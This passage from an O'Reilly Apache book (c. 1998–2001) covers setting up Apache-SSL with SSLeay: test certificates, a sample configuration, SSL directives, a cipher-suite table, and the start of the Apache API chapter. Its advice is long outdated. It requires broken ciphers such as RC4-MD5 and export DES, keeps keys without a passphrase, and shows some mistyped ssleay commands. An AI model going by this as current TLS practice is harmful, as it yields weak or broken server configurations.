FHd3dy5idXR0ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZzYWxlc0BidXR0
ZXJ0aGxpZXMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBpDjpJQxv
cPRdhNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6kpi8EJFvvkoYdesTVzM+6iABQ
bk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+RXUzy/5HIiL0JtX/oCESGKt5
W/xd8G/xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQABMA0GCSqGSIb3DQEBBAUAA4GB
AIrQjOfQTeOHXBS+zcXy9OWpgcfyxI5GQBg6VWlRlhthEtYDSdyNq9hrAT/TGUwd
Jm/whjGLtD7wPx6c0mR/xsoWWoEVa2hIQJhDlwmnXk1F3M55ZA3Cfg0/qb8smeTx
7kM1LoxQjZL0bg61Av3WG/TtuGqYshpE09eu77ANLngp
-----END CERTIFICATE-----

This is, in fact, rather an atypical certificate, because it combines our private key with the certificate, whereas you would probably want to apply more stringent security to the private key than to the certificate. Also, it is signed by ourselves, making it a root certification authority certificate; this is just a convenience for test purposes. In the real world, root CAs are likely to be somewhat more impressive organizations than little old us.

This certificate also is without a passphrase, which httpsd would otherwise ask for at startup. We think a passphrase is a bad idea because it prevents automatic server restarts, but if you want to make yourself a certificate that incorporates one, edit Makefile (remembering to reedit if you run Configuration again), find the "certificate:" section, remove the -nodes flag and proceed as before. Or, follow this procedure, which will also be useful when we ask Thawte for a demo certificate. Go to wherever you need the results -- .../site.ssl/conf would be good. Type:

% ssleay req -new -outform PEM> new3.cert.csr

...
writing new private key to 'privkey.pem'
enter PEM pass phrase:

Type in your passphrase and then answer the questions as before. This generates a Certificate Signing Request (CSR) with your passphrase encrypted into it. You will need this if you want to get a server certificate, together with the key file privkey.pem.

However, if you then decide you don't want a passphrase after all, you can remove it with:

% ssleay -in  privkey.pem -out new3.cert.key

Either way, you then convert the request into a signed certificate:

% ssleay c509 -in new3cert.csr -out new3.cert.cert -req -signkey
      privkey.pem

You now have a secure version of Apache, httpsd; a site to use it on, site.ssl; a certificate, new3.cert.cert; and a signed key, privkey.pem.

13.6.6. The Global Session Cache

SSL uses a session key to secure each connection. When the connection starts, certificates are checked and a new session key is agreed between the client and server (note that because of the joys of public key encryption, this new key is only known to the client and server). This is a time-consuming process, so Apache-SSL and the client can conspire to improve the situation by reusing session keys. Unfortunately, since Apache uses a multiprocess execution model, there's no guarantee that the next connection from the client will use the same instance of the server. In fact, it is rather unlikely. Thus, it is necessary to store session information in a cache that is accessible to all the instances of Apache-SSL. This is the function of the gcache program. It is controlled by the SSLCacheServerPath, SSLCacheServerPort, and SSLSessionCacheTimeout directives described later in this chapter.

13.6.7. Site.SSL

You now have to think about the Config files for the site. A sample Config file will be found at .../apache_1.3.1/SSLconf/conf. After we edit it to fit our site, the Config file is as follows:

# This is an example configuration file for Apache-SSL.
# Copyright (C) 1995,6,7 Ben Laurie
# By popular demand, this file now illustrates the way to create two
# websites, one secured (on port 8888), the other not (on port 8887).
# You may need one of these.
User webuser
Group webgroup
LogLevel debug

# SSL servers MUST be standalone, currently.
ServerType standalone

# The default port for SSL is 443... but we use 8888 here so we don't have
# to be root.
Port 8887
Listen 8887
Listen 8888

# My test document root
DocumentRoot /usr/www/site.ssl/htdocs

<Directory /usr/www/site.ssl/htdocs/manual>
SSLRequireSSL
# This directive protects a directory by forbidding access except when SSL is # in use. Very handy for defending against configuration errors that expose
# stuff that should be protected.
</Directory>

# Watch what's going on.
TransferLog logs/transfer_log

# Note that all SSL options can apply to virtual hosts.
# Disable SSL. Useful in combination with virtual hosts. Note that
# SSLEnable is now also supported.
SSLDisable
# Set the path for the global cache server executable.
# If this facility gives you trouble, you can disable it by setting
# CACHE_SESSIONS to FALSE in apache_ssl.c
SSLCacheServerPath /usr/local/etc/apache/apache_1.3.1/src/modules/ssl/gcache
# Set the global cache server port number or path. If it is a path, a Unix
# domain socket is used. If a number, a TCP socket.
SSLCacheServerPort logs/gcache_port
# The number should either refer to a path consisting of a directory that
# exists and a file that doesn't, or an unused TCP/IP port.

# Set the session cache timeout, in seconds (set to 15 for testing, use a
# higher value in real life).
SSLSessionCacheTimeout 15

# Set the CA certificate verification path (must be PEM encoded).
# (in addition to getenv("SSL_CERT_DIR"), I think).
# (Not used in this example)
#SSLCACertificatePath /usr/local/etc/apache/apache_1.3.1/SSLconf/conf

# Set the CA certificate verification file (must be PEM encoded).
# (in addition to getenv("SSL_CERT_FILE"), I think).
SSLCACertificateFile /usr/www/site.ssl/conf/thawte.cert

# Point SSLCertificateFile at a PEM-encoded certificate.
# If the certificate is encrypted, then you will be prompted for a
# passphrase. Note that a kill -1 will prompt again.
# A test certificate can be generated with "make certificate".

# If the key is not combined with the certificate, use this directive to
# point at the key file. If this starts with a '/' it specifies an absolute
# path; otherwise, it is relative to the default certificate area. That is,
# it means "<default>/private/<keyfile>".
#SSLCertificateKeyFile /some/place/with/your.key

# Set SSLVerifyClient to:
# 0 if no certicate is required.
# 1 if the client may present a valid certificate.
# 2 if the client must present a valid certificate.
# 3 if the client may present a valid certificate but it is not required to
#   have a valid CA.
SSLVerifyClient 0

# How deeply to verify before deciding they don't have a valid certificate.
SSLVerifyDepth 10

# Translate the client X509 into a Basic authorization. This means that the
# standard Auth/DBMAuth methods can be used for access control. The username
# is the "one-line" version of the client's X509 certificate. Note that no
# password is obtained from the user. Every entry in the user file needs this
# password: xxj31ZMTZzkVA. See the code for further explanation.
SSLFakeBasicAuth
# List the ciphers that the client is permitted to negotiate. See the source
# for a definitive list. For example:
#SSLRequiredCiphers RC4-MD5:RC4-SHA:IDEA-CBC-MD5:DES-CBC3-SHA

# These two can be used per-directory to require or ban ciphers. Note that
# (at least in the current version) Apache-SSL will not attempt to
# renegotiate if a cipher is banned (or not required).
#SSLRequireCipher
#SSLBanCipher

# Custom logging
CustomLog logs/ssl_log "%t %{version}c %{cipher}c %{clientcert}c"

<VirtualHost www.butterthlies.com:8888>
SSLEnable
</VirtualHost>

ScriptAlias /scripts/usr/www/cgi-bin

We have changed the user and group to webuser and webgroup in line with practice throughout the book. The default port for SSL is 443, but here we get a replay of port-based virtual hosting (see Chapter 3, "Toward a Real Web Site") so that it is easy to contrast the behavior of Apache with (port 8888) and without (port 8887) SSL.

Remember to edit go so it invokes httpsd (the secure version); otherwise, Apache will rather puzzlingly object to all the nice new SSL directives. Run ./go in the usual way. Apache starts up and produces a message:

Reading certificate and key for server www.butterthlies.com:8888

This message shows that the right sort of thing is happening. If you had opted for a passphrase, Apache would halt for you to type it in, and the message would remind you which passphrase to use. However, in this case there isn't one, so Apache starts up.[71] On the client side, log on to:

[71]Later versions of Apache may not show this message if a passphrase is not required.

https://www.butterthlies.com:8888

remembering the "s" in https. It's rather bizarre that the client is expected to know in advance that it is going to meet an SSL server and has to log on securely, but that's the way the Web is. However, in practice you would usually log on to an unsecured site with http and then choose or be steered to a link that would set you up automatically for a secure transaction. If you forget the "s", various things can happen:

  • You are mystifyingly told that the page contains no data.

  • Your browser hangs.

  • .../site.ssl/logs/error_log contains the following line:

SSL_Accept failed error:140760EB:SSL routines:SSL23_GET_CLIENT_HELLO:unknown
    protocol

If you pass these perils, you find that Netscape's product liability team has been at work, and you are taken through a rigmarole of legal safeguards and "are you absolutely sure?" queries before you are finally permitted to view the secure page.

We were running with SSLVerifyClient 0, so Apache made no inquiry concerning our credibility as a client. Change it to 2, to force the client to present a valid certificate. Netscape now says:

No User Certificate
The site 'www.butterthlies.com' has requested client authentication, but you
do not have a Personal Certificate to authenticate yourself. The site may
choose not to give you access without one.

Oh, the shame of it. The simple way to fix this smirch is to get a beta certificate from one of the following companies:

Thawte Consulting

http://www.thawte.com/certs/server/request.html

CertiSign Certificadora Digital Ltda.

http://www.certisign.com.br

IKS GmbH

http://www.iks-jena.de/produkte/ca/

Uptime Commerce Ltd.

http://www.uptimecommerce.com

BelSign NV/SA

http://www.belsign.be

Log on to one of these sites, and follow the instructions.

In the interests of European unity we chose BelSign NV/SA first and tried to download their Class 1 Demo Certificate, lasting 30 days. BelSign's own certificate had expired and the process failed -- in our experience, this is quite usual when dealing with "secure" sites and is an indicator that secure e-business is not yet a reality.

Ho hum, try IKS GmbH. They take things more seriously and try to explain the whole complicated business in slightly fractured Germlish, but don't seem to offer a free demo certificate, so that was no good.

The attempt to contact Uptime timed out.

Certisign lives in Brazil and is lavishly documented in commercial Portuguese -- interesting in a way, but it didn't seem to offer a demo certificate either.

Finally we fell back on Thawte, who do offer a demo certificate; however, they use it to test their procedures -- and your understanding -- to the limit. You need to paste your CSR new2.cert.csr (see Section 13.6.5, "Make a Test Certificate", earlier in this chapter) into their form and then choose one of a number of options. In our case, we thought we needed the "PEM format" because the certificates we generated seemed to be PEMs. But no. We got the following error:

Can only generate PEM output from PEM input.

Thawte has an Apache-SSL help page, which tells us that what Apache and SSL call "PEM" files are actually not. What we should have asked for was a base 64 encoded X.509 certificate -- invoked by the radio button on Thawte's form labeled "the most basic format." This time Thawte did its thing and presented a page with the certificate on it:

-----BEGIN CERTIFICATE-----
MIICXTCCAcYCAw9CQDANBgkqhkiG9w0BAQQFADBkMRowGAYDVQQKExFUaGF3dGUg
Q29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZp
c2lvbjEcMBoGA1UEAxMTVGVzdCBTZXJ2ZXIgQ0EgUm9vdDAeFw05ODA4MjgwOTM2
MzFaFw05ODA5MjgwOTM2MzFaMIGHMQswCQYDVQQGEwJHQjEPMA0GA1UECBMGRG9y
c2V0MSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxHTAbBgNVBAMT
FHd3dy5idXR0ZXJ0aGxpZXMuY29tMSUwIwYJKoZIhvcNAQkBFhZwZXRlckBhYmJv
dHNidXJ5LmNvLnVrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDT1KRNwOwT
kCHkYqpJmXj10U9pH4YZ7Koccwe87rAdDJ8NM5WTNa9VR4BEBWzFd34bGt6GPn1P
qBpZ8fBMgT7x5XQH1wXK32Itf7NZJJvFO0XBuA4i9C8VMVEUefTRFL8mZSFCmO3N
A1EnXvwjpF85c37pNDyYipAU9iUa+nrKEQIDAQABMA0GCSqGSIb3DQEBBAUAA4GB
AJeufu9DTQw8l941pnzW8UmTqGATmFxf01IwrN88bWS+I1YzhZZ0ZQQSs8IKVQPG
to38aaeSMeE7TauGdqs5+xv0QY8WrzrY4rbGliiW/H3kfMukOiRbiJAyXJepXhRJ
ezE1n2v9E16dlF6T6LI0IXSzwJ2JsCTtD/IDkSgg9Tqo
-----END CERTIFICATE-----

We copied this as thawte.cert to .../site.ssl/conf. This triggered changes in the Config file:

SSLCACertificateFile /usr/www/site.ssl/conf/thawte.cert
SSLCertificateKeyFile /usr/www/site.ssl/conf/privkey.pem

Finally, we had to change the way we ran Apache to cope with the new demand for a passphrase. The file go became:

% httpsd -d /usr/www/site.ssl ; sleep 10000

When we ran it, we got the following message:

Reading certificate and key for server www.butterthlies.com:8888
Enter PEM pass phrase:

You type in your passphrase and then hit CTRL-C or Delete, depending on the flavor of Unix, to kill sleep.

When we finally logged on to https://www.butterthlies.com:8888 from the client, we got the following encouraging message:

Certificate Is Expired
www.butterthlies.com is a site that uses encryption to protect transmitted
information. However the digital Certificate that identifies this site is not yet valid. This may be because the certificate was installed too soon by the site administrator, or because the date on your computer is wrong.
The certificate is valid beginning Fri Aug 28, 1998.
Your computer's date is set to Fri Aug 28, 1998. If this date is incorrect, then you should reset the date on your computer.
You may continue or cancel this connection.

This message suggested, in a perverse way, that we were doing something right. Finally, because we had changed SSLVerifyClient to 2, the exchange correctly expired in a complaint that the client didn't have a certificate.

If you kill Apache in the time-honored way, make sure that gcache disappears too. The version of SSL (1.21) that we used to test all this left gcache hanging and it had to be killed before Apache-SSL would restart properly. The symptom was a message in error_log:

[<date>] gcache started
bind: address already in use

followed by irrelevant complaints about the private key file. If this happens with later versions, please report it as a bug.

Previous | Home | Next
13.5. Legal Issues | Book Index | 13.7. Apache-SSL's Directives
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Apache-SSL's Directives (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.7. Apache-SSL's Directives

Apache-SSL's directives follow, with a small section at the end of the chapter concerning CGIs.

13.7.1. SSLDisable

SSLDisable
Server config, virtual host

Disable SSL. This directive is useful if you wish to run both secure and nonsecure hosts on the same server. Conversely, SSL can be enabled with SSLEnable.

13.7.2. SSLEnable

SSLEnable
Server config, virtual host

Enable SSL. The default; but if you've used SSLDisable in the main server, you can enable SSL again for virtual hosts using this directive.

13.7.3. SSLRequireSSL

SSLRequireSSL
Server config, .htaccess, virtual host, directory

Require SSL. This can be used in <Directory> sections (and elsewhere) to protect against inadvertently disabling SSL. If SSL is not in use when this directive applies, access will be refused. This is a useful belt-and-suspenders measure for critical information.

13.7.4. SSLCacheServerPath

SSLCacheServerPath filename
Server config

This directive specifies the path to the global cache server, gcache. It can be absolute or relative to the server root.

13.7.5. SSLCacheServerRunDir

SSLCacheServerRunDir directory
Server config

Sets the directory in which gcache runs, so that it can produce core dumps during debugging.

13.7.6. SSLCacheServerPort

SSLCacheServerPort file|port
Server config

The cache server can use either TCP/IP or Unix domain sockets. If the file or port argument is a number, then a TCP/IP port at that number is used; otherwise, it is assumed to be the path to use for a Unix domain socket.

13.7.7. SSLSessionCacheTimeout

SSLSessionCacheTimeout time_in_seconds
Server config, virtual host

A session key is generated when a client connects to the server for the first time. This directive sets the length of time in seconds that the session key will be cached locally. Lower values are safer (an attacker then has a limited time to crack the key before a new one will be used) but also slower, because the key will be regenerated at each timeout. If client certificates are being requested by the server, they will also be required to be re-presented at each timeout. For many purposes, timeouts measured in hours are perfectly safe, for example:

SSLSessionCacheTimeout 3600

13.7.8. SSLCACertificatePath

SSLCACertificatePath directory
Server config, virtual host

This directive specifies the path to the directory where you keep the certificates of the certification authorities whose client certificates you are prepared to accept. They must be PEM encoded.

13.7.9. SSLCACertificateFile

SSLCACertificateFile filename
Server config, virtual host

If you only accept client certificates from a single CA, then you can use this directive instead of SSLCACertificatePath to specify a single PEM-encoded (according to SSLeay) certificate file.

13.7.10. SSLCertificateFile

SSLCertificateFile filename
Config outside <Directory> or <Location> blocks

This is your PEM-encoded certificate. It is encoded with distinguished encoding rules (DER), and is ASCII-armored so it will go over the Web. If the certificate is encrypted, you are prompted for a passphrase.

13.7.11. SSLCertificateKeyFile

SSLCertificateKeyFile filename
Config outside <Directory> or <Location> blocks

This is the private key of your PEM-encoded certificate. If the key is not combined with the certificate, use this directive to point at the key file. If the filename starts with "/", it specifies an absolute path; otherwise, it is relative to the default certificate area, which is currently defined by SSLeay to be either /usr/local/ssl/private or <wherever you told ssl to install>/private. Examples:

SSLCertificateKeyFile /usr/local/apache/certs/my.server.key.pem
SSLCertificateKeyFile certs/my.server.key.pem

13.7.12. SSLVerifyClient

SSLVerifyClient level
Default: 0
Server config, virtual host

This directive defines what you require of clients:

0

No certificate required.

1

The client may present a valid certificate.

2

The client must present a valid certificate.

3

The client may present a valid certificate, but not necessarily from a certification authority for which the server holds a certificate.

13.7.13. SSLVerifyDepth

SSLVerifyDepth depth
Server config, virtual host

In real life, the certificate we are dealing with was issued by a CA, who in turn relied on another CA for validation, and so on, back to a root certificate. This directive specifies how far up or down the chain we are prepared to go before giving up. What happens when we give up is determined by the setting given to SSLVerifyClient. Normally, you only trust certificates signed directly by a CA you've authorized, so this should be set to 1.

13.7.14. SSLFakeBasicAuth

SSLFakeBasicAuth
Server config, virtual host

This directive makes Apache pretend that the user has been logged in using basic authentication (see Chapter 5, "Authentication"), except that instead of the username you get the one-line X509, a version of the client's certificate. If you switch this on, along with SSLVerifyClient, you should see the results in one of the logs. The code adds a predefined password.

13.7.15. CustomLog

CustomLog nickname
Server config, virtual host

CustomLog is a standard Apache directive (see Chapter 11, "What's Going On?" ) to which Apache-SSL adds some extra categories that can be logged:

{cipher}c

The name of the cipher being used for this connection.

{clientcert}c

The one-line version of the certificate presented by the client.

{errcode}c

If the client certificate verification failed, this is the SSLeay error code. In the case of success, a "-" will be logged.

{errstr}c

This is the SSLeay string corresponding to the error code.

{version}c

The version of SSL being used. If you are using SSLeay versions prior to 0.9.0, then this is simply a number: 2 for SSL2 or 3 for SSL3. For SSLeay version 0.9.0 and later, it is a string, currently one of "SSL2," "SSL3," or "TLS1."

13.7.16. SSLLogFile

Obsolete -- do not use.

Previous | Home | Next
13.6. Secure Sockets Layer: How to Do It | Book Index | 13.8. Cipher Suites
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cipher Suites (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.8. Cipher Suites

The SSL protocol does not restrict clients and servers to a single encryption brew for the secure exchange of information. There are a number of possible cryptographic ingredients, but as in any cookpot, some ingredients go better together than others. The seriously interested can refer to Bruce Schneier's Applied Crytography ( John Wiley & Sons), in conjunction with the SSL specification (from http://www.netscape.com/). The list of cipher suites is in the SSLeay software at ... /ssl/ssl.h. The macro names give a better idea of what is meant than the text strings.

SSLeay name

Config name

Keysize

EncryptedKeysize

SSL3_TXT_RSA_IDEA_128_SHA

IDEA-CBC-SHA

128

128

SSL3_TXT_RSA_NULL_MD5

NULL-MD5

0

0

SSL3_TXT_RSA_NULL_SHA

NULL-SHA

0

0

SSL3_TXT_RSA_RC4_40_MD5

EXP-RC4-MD5

128

40

SSL3_TXT_RSA_RC4_128_MD5

RC4-MD5

128

128

SSL3_TXT_RSA_RC4_128_SHA

RC4-SHA

128

128

SSL3_TXT_RSA_RC2_40_MD5

EXP-RC2-CBC-MD5

128

40

SSL3_TXT_RSA_IDEA_128_SHA

IDEA-CBC-MD5

128

128

SSL3_TXT_RSA_DES_40_CBC_SHA

EXP-DES-CBC-SHA

56

40

SSL3_TXT_RSA_DES_64_CBC_SHA

DES-CBC-SHA

56

56

SSL3_TXT_RSA_DES_192_CBC3_SHA

DES-CBC3-SHA

168

168

SSL3_TXT_DH_DSS_DES_40_CBC_SHA

EXP-DH-DSS-DES-CBC-SHA

56

40

SSL3_TXT_DH_DSS_DES_64_CBC_SHA

DH-DSS-DES-CBC-SHA

56

56

SSL3_TXT_DH_DSS_DES_192_CBC3_SHA

DH-DSS-DES-CBC3-SHA

168

168

SSL3_TXT_DH_RSA_DES_40_CBC_SHA

EXP-DH-RSA-DES-CBC-SHA

56

40

SSL3_TXT_DH_RSA_DES_64_CBC_SHA

DH-RSA-DES-CBC-SHA

56

56

SSL3_TXT_DH_RSA_DES_192_CBC3_SHA

DH-RSA-DES-CBC3-SHA

168

168

SSL3_TXT_EDH_DSS_DES_40_CBC_SHA

EXP-EDH-DSS-DES-CBC-SHA

56

40

SSL3_TXT_EDH_DSS_DES_64_CBC_SHA

EDH-DSS-DES-CBC-SHA

56

SSL3_TXT_EDH_DSS_DES_192_CBC3_SHA

EDH-DSS-DES-CBC3-SHA

168

168

SSL3_TXT_EDH_RSA_DES_40_CBC_SHA

EXP-EDH-RSA-DES-CBC

56

40

SSL3_TXT_EDH_RSA_DES_64_CBC_SHA

EDH-RSA-DES-CBC-SHA

56

56

SSL3_TXT_EDH_RSA_DES_192_CBC3_SHA

EDH-RSA-DES-CBC3-SHA

168

168

SSL3_TXT_ADH_RC4_40_MD5

EXP-ADH-RC4-MD5

128

40

SSL3_TXT_ADH_RC4_128_MD5

ADH-RC4-MD5

128

128

SSL3_TXT_ADH_DES_40_CBC_SHA

EXP-ADH-DES-CBC-SHA

128

40

SSL3_TXT_ADH_DES_64_CBC_SHA

ADH-DES-CBC-SHA

56

56

SSL3_TXT_ADH_DES_192_CBC_SHA

ADH-DES-CBC3-SHA

168

168

SSL3_TXT_FZA_DMS_NULL_SHA

FZA-NULL-SHA

0

0

SSL3_TXT_FZA_DMS_RC4_SHA

FZA-RC4-SHA

128

128

MD5_1

DES-CFB-M1

56

56

SSL2_TXT_RC2_128_CBC_WITH_MD5

RC2-CBC-MD5

128

128

SSL2_TXT_DES_64_CBC_WITH_MD5

DES-CBC-MD5

56

56

SSL2_TXT_DES_192_EDE3_CBC_WITH_MD5

DES-CBC3-MD5

168

168

SSL2_TXT_RC4_64_WITH_MD5

RC4-64-MD5

64

64

SSL2_TXT_NULL

NULL

0

0

For most purposes, the webmaster does not have to bother with all this, but some of the following directives need entries from this list.

13.8.1. SSLRequiredCiphers

SSLRequiredCiphers cipher list
Server config, virtual host

This directive specifies a colon-separated list of cipher suites, used by SSLeay to limit what the client end can do. Possible suites are listed in the preceding section. This is a per-server option:

SSLRequiredCiphers RC4-MD5:RC4-SHA:IDEA-CBC-MD5:DES-CBC3-SHA

13.8.2. SSLRequireCipher

SSLRequireCipher cipher list
Server config, virtual host, .htaccess, directory

This directive specifies a space-separated list of cipher suites, used to verify the cipher after the connection is established. This is a per-directory option.

13.8.3. SSLBanCipher

SSLBanCipher <cipher list>
Config, virtual, .htaccess, directory

This directive specifies a space-separated list of cipher suites, as per SSLRequire-Cipher, except it bans them. The logic is as follows: if banned, reject; if required, accept; if no required ciphers are listed, accept. For example:

SSLBanCipher NULL-MD5 NULL-SHA

It is sensible to ban these suites because they are test suites that actually do no encryption.

Previous | Home | Next
13.7. Apache-SSL's Directives | Book Index | 13.9. SSL and CGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SSL and CGI (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

13.9. SSL and CGI

One directive affects the writing of CGIs.

13.9.1. SSLExportClientCertificates

SSLExportClientCertificates
Server config, virtual host, .htaccess, directory

Exports client certificates and the chain behind them to CGIs. The certificates are base 64 encoded in the environment variables SSL_CLIENT_CERT and SSL_CLIENT_CERT_CHAIN_n, where n runs from 1 up. This directive is only enabled if APACHE_SSL_EXPORT_CERTS is set to TRUE in .../src/include/buff.h.

Previous | Home | Next
13.8. Cipher Suites | Book Index | 14. The Apache API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Apache API (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 14. The Apache API

Contents:

Pools
Per-Server Configuration
Per-Directory Configuration
Per-Request Information
Access to Configuration and Request Information
Functions

Apache provides an application programming interface (API) to modules in order to insulate them from the mechanics of the HTTP protocol and from each other. In this chapter, we explore the main concepts of the API and provide a detailed listing of the functions available to the module author.

14.1. Pools

The most important thing to understand about the Apache API is the idea of a pool. This is a grouped collection of resources (i.e., file handles, memory, child programs, sockets, pipes, and so on) that are released when the pool is destroyed. Almost all resources used within Apache reside in pools, and their use should only be avoided with careful thought.

An interesting feature of pool resources is that many of them can be released only by destroying the pool. Pools may contain subpools, and subpools may contain subsubpools, and so on. When a pool is destroyed, all its subpools are destroyed with it.

Naturally enough, Apache creates a pool at startup, from which all other pools are derived. Configuration information is held in this pool (so it is destroyed and created anew when the server is restarted with a kill). The next level of pool is created for each connection Apache receives and is destroyed at the end of the connection. Since a connection can span several requests, a new pool is created (and destroyed) for each request. In the process of handling a request, various modules create their own pools, and some also create subrequests, which are pushed through the API machinery as if they were real requests. Each of these pools can be accessed through the corresponding structures (i.e., the connect structure, the request structure, and so on).

With this in mind, we can more clearly state when you should not use a pool: when the lifetime of the resource in question does not match the lifetime of a pool. If you need temporary storage (or files, or whatever), you can create a subpool of a convenient pool (the request pool is the most likely candidate) and destroy it when you are done, so having a lifetime that is shorter than the pool's is not normally a good enough excuse. The only example we can think of where there is no appropriate pool is the code for handling listeners (copy_listeners() and close_unused_listeners() in http_main.c), which have a lifetime longer than the topmost pool!

There are a number of advantages to this approach, the most obvious being that modules can use resources without having to worry about when and how to release them. This is particularly useful when Apache handles an error condition. It simply bails out, destroying the pool associated with the erroneous request, confident that everything will be neatly cleaned up. Since each instance of Apache may handle many requests, this functionality is vital to the reliability of the server. Unsurprisingly, pools come into almost every aspect of Apache's API, as we shall see in this chapter. They are defined in alloc.h :

typedef struct pool pool;

The actual definition of struct pool can be found in alloc.c, but no module should ever need to use it. All modules ever see of a pool is a pointer to it, which they then hand on to the pool APIs.

Like many other aspects of Apache, pools are configurable, in the sense that you can add your own resource management to a pool, mainly by registering cleanup functions (see the pool API later in this chapter).

Previous | Home | Next
13.9. SSL and CGI | Book Index | 14.2. Per-Server Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Per-Server Configuration (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

14.2. Per-Server Configuration

Since a single instance of Apache may be called on to handle a request for any of the configured virtual hosts (or the main host), a structure is defined that holds the information related to each host. This structure, server_rec , is defined in httpd.h:

struct server_rec {
    server_rec *next;

    /* Description of where the definition came from */
    const char *defn_name;
    unsigned defn_line_number;

    /* Full locations of server config info */

    char *srm_confname;
    char *access_confname;

    /* Contact information */

    char *server_admin;
    char *server_hostname;
    unsigned short port;        /* For redirects, etc. */

    /* Log files --- note that transfer log is now in the modules... */

    char *error_fname;
    FILE *error_log;
    int loglevel;

    /* Module-specific configuration for server, and defaults... */
    int is_virtual;             /* True if this is the virtual server */
    void *module_config;        /* Config vector containing pointers to
                                 * modules' per-server config structures.
                                 */
    void *lookup_defaults;      /* MIME type info, etc., before we start
                                 * checking per-directory info.
                                 */
    /* Transaction handling */
    server_addr_rec *addrs;
    int timeout;                /* Timeout, in seconds, before we give up */
    int keep_alive_timeout;     /* Seconds we'll wait for another request */
    int keep_alive_max;         /* Maximum requests per connection */
    int keep_alive;             /* Maximum requests per connection */
    int send_buffer_size;       /* Size of TCP send buffer (in bytes) */

    char *path;                 /* Pathname for ServerPath */
    int pathlen;                /* Length of path */
    char *names;                /* Normal names for ServerAlias servers */
    array_header *wild_names;   /* Wildcarded names for ServerAlias servers
                                 */

    uid_t server_uid;    /* Effective user ID when calling exec wrapper */
    gid_t server_gid;    /* Effective group ID when calling exec wrapper */
};

Most of this structure is used by the Apache core, but each module can also have a per-server configuration, which is accessed via the module_config member, using ap_get_module_config(). Each module creates this per-module configuration structure itself, so it has complete control over its size and contents.

Previous | Home | Next
14. The Apache API | Book Index | 14.3. Per-Directory Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Per-Directory Configuration (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

14.3. Per-Directory Configuration

It is also possible for modules to be configured on a per-directory, per-URL, or per-file basis. Again, each module optionally creates its own per-directory configuration (the same structure is used for all three cases). This configuration is made available to modules either directly, during configuration, or indirectly, once the server is running, through the request_rec structure, detailed in the next section.

Previous | Home | Next
14.2. Per-Server Configuration | Book Index | 14.4. Per-Request Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Per-Request Information (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

14.4. Per-Request Information

The core ensures that the right information is available to the modules at the right time by matching requests to the appropriate virtual server and directory information before invoking the various functions in the modules. This, and other information, is packaged in a request_rec structure, defined in httpd.h:

struct request_rec {
  ap_pool *pool;
  conn_rec *connection;
  server_rec *server;

  request_rec *next;          /* If we wind up getting redirected,
                               * pointer to the request we redirected to.
                               */
  request_rec *prev;          /* If this is an internal redirect,
                               * pointer to where we redirected *from*.
                               */

  request_rec *main;          /* If this is a subrequest (see request.h),
                               * pointer back to the main request.
                               */
  /* Info about the request itself... we begin with stuff that only
   * protocol.c should ever touch...
   */

  char *the_request;          /* First line of request, so we can log it */
  int assbackwards;           /* HTTP/0.9, "simple" request */
  int proxyreq;               /* A proxy request (calculated during
                               * post_read_request or translate_name) */
  int header_only;            /* HEAD request, as opposed to GET */
  char *protocol;             /* Protocol, as given to us, or HTTP/0.9 */
  int proto_num;              /* Number version of protocol; 1.1 = 1001 */
  const char *hostname;       /* Host, as set by full URI or Host: */

  time_t request_time;        /* When the request started */

  char *status_line;          /* Status line, if set by script */
  int status;                 /* In any case */

 /* Request method, two ways; also, protocol, etc. Outside of protocol.c,
  * look, but don't touch.
  */

  char *method;              /* GET, HEAD, POST, etc. */
  int method_number;         /* M_GET, M_POST, etc. */

  /*
    allowed is a bitvector of the allowed methods.
    A handler must ensure that the request method is one that
    it is capable of handling. Generally modules should DECLINE
    any request methods they do not handle. Prior to aborting the
    handler like this, the handler should set r->allowed to the list
    of methods that it is willing to handle. This bitvector is used
    to construct the "Allow:" header required for OPTIONS requests,
    and METHOD_NOT_ALLOWED and NOT_IMPLEMENTED status codes.
    Since the default_handler deals with OPTIONS, all modules can
    usually decline to deal with OPTIONS. TRACE is always allowed;
    modules don't need to set it explicitly.
    Since the default_handler will always handle a GET, a
    module which does *not* implement GET should probably return
    METHOD_NOT_ALLOWED. Unfortunately, this means that a Script GET
    handler can't be installed by mod_actions.
  */
  int allowed;                /* Allowed methods - for 405, OPTIONS, etc. */

  int sent_bodyct;            /* Byte count in stream is for body */
  long bytes_sent;            /* Body byte count, for easy access */
  time_t mtime;               /* Time the resource was last modified */

  /* HTTP/1.1 connection-level features */

  int chunked;                /* Sending chunked transfer-coding */
  int byterange;              /* Number of byte ranges */
  char *boundary;             /* Multipart/byteranges boundary */
  const char *range;          /* The Range: header */
  long clength;               /* The "real" content length */

  long remaining;             /* Bytes left to read */
  long read_length;           /* Bytes that have been read */
  int read_body;              /* How the request body should be read */
  int read_chunked;           /* Reading chunked transfer-coding */

 /* MIME header environments, in and out. Also, an array containing
  * environment variables to be passed to subprocesses, so people can
  * write modules to add to that environment.
  *
  * The difference between headers_out and err_headers_out is that the
  * latter are printed even on error and persist across internal redirects
  * (so the headers printed for ErrorDocument handlers will have them).
  *
  * The 'notes' table is for notes from one module to another, with no
